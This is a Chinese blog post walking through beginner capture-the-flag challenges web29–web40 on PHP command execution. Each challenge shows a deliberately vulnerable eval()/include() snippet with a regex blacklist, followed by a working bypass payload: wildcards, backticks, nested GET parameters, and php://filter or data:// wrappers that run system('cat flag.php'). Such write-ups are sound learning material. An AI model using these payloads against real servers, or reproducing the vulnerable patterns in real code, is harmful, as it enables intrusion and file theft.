web入门:命令执行🫠

web29

1
2
3
4
5
6
7
8
9
10
11
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}

preg_match函数是进行正则表达式的匹配,成功返回1,否则返回0。
在这个正则里边有一个参数是i,这个在正则表达式里边是不区分大小写的一个参数

查看目录

1
?c=system('ls');

方法一

获取flag.php ,关键字flag过滤,使用通配符?

1
?c=system("cat fla?.php");

ctrl+u查看源码

方法二

cp命令将flag.php保存到1.txt 再去访问1.txt

1
?c=system("cp fla?.php 1.txt");

接着在url后输入1.txt就可以看到flag了

web30

1
2
3
4
5
6
7
8
9
10
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}

存源代码中我们可以看出这次过滤了flag,system,php
所以这里我们可以用’’来代替system(),这里的`是tab上面的反斜号

1
?c=`cp fla?.p?? 1.txt`;

在url后输入1.txt查看获得flag

web31

从源代码可以看出,这题还过滤了cat和空格

1
2
3
4
5
6
7
8
9
10
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}

我们可以用eval( )来操作, 这个1已经不属于c的内容了,所以不受过滤管控了,

得到空白页面右击看源码才能得到flag

1
?c=eval($_GET[1]);&1=system('cat flag.php');

将cat 换成 tac 就可以直接看到flag,(tac 是 cat 的反向显示),cat也可以直接看到

1
?c=eval($_GET[1]);&1=system('tac flag.php');

web32

1
2
3
4
5
6
7
8
9
10
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}

根据源代码可知,反引号,分号,括号都不能用
没有括号就不能使用上一题的eval(),所以要用没有括号的函数,比如include
分号可以用?>代替
还需要配合使用伪协议,通过特定的通道读取文件

1
?c=include$_GET[a]?>&a=php://filter/convert.base64-encode/resource=flag.php

这里我们获得了一个base64的数据base64

base64解码

获得flag!

web33

1
2
3
4
5
6
7
8
9
10
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}

多过滤了一个”
使用上一题的方法一样可以做出来

1
?c=include$_GET[a]?>&a=php://filter/convert.base64-encode/resource=flag.php

同样的base64加密,解码获得flag

web34

1
2
3
4
5
6
7
8
9
10
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}

多过滤了一个冒号,也不影响我们使用上面的方法

1
?c=include$_GET[a]?>&a=php://filter/convert.base64-encode/resource=flag.php

web35

代码懒得帖了
ps:此处多过滤了<=,与上题题解一样

web36

代码懒得贴了,和前几题类似
ps:此处过滤了数字

web37

1
2
3
4
5
6
7
8
9
10
11
12
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c);
echo $flag;

}

}else{
highlight_file(__FILE__);
}

通过data://text/plain协议来进行漏洞利用

1
?c=data://text/plain,<?php system("cat fla?.php");?>

ctrl+u以获得flag!

web38

1
2
3
4
5
6
7
8
9
10
11
12
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|php|file/i", $c)){
include($c);
echo $flag;

}

}else{
highlight_file(__FILE__);
}

比上一题多过滤了php,file
使用上一题的方法就行,需要把php换成= 即

1
/?c=data://text/plains,<?= system("cat fla?.ph?");?>

web39

1
2
3
4
5
6
7
8
9
10
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c.".php");
}

}else{
highlight_file(__FILE__);
}

加了个后缀.php,但还是不影响用data协议

1
/?c=data://text/plains,<?php system("cat fla?.php");?>

1
/?c=data://text/plains,<?=system("cat fla?.php");?>

只是后面多了个.php

web40

1
2
3
4
5
6
7
8
9
10

if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}

在url中输入

1
/?c=show_source(next(array_reverse(scandir(getcwd()))));

得到flag
emmm~并不知道这是什么原理,后续跟进🥹


web入门:命令执行🫠
http://example.com/2023/04/24/minlinzhixin/
作者
奇怪的奇怪
发布于
2023年4月24日
许可协议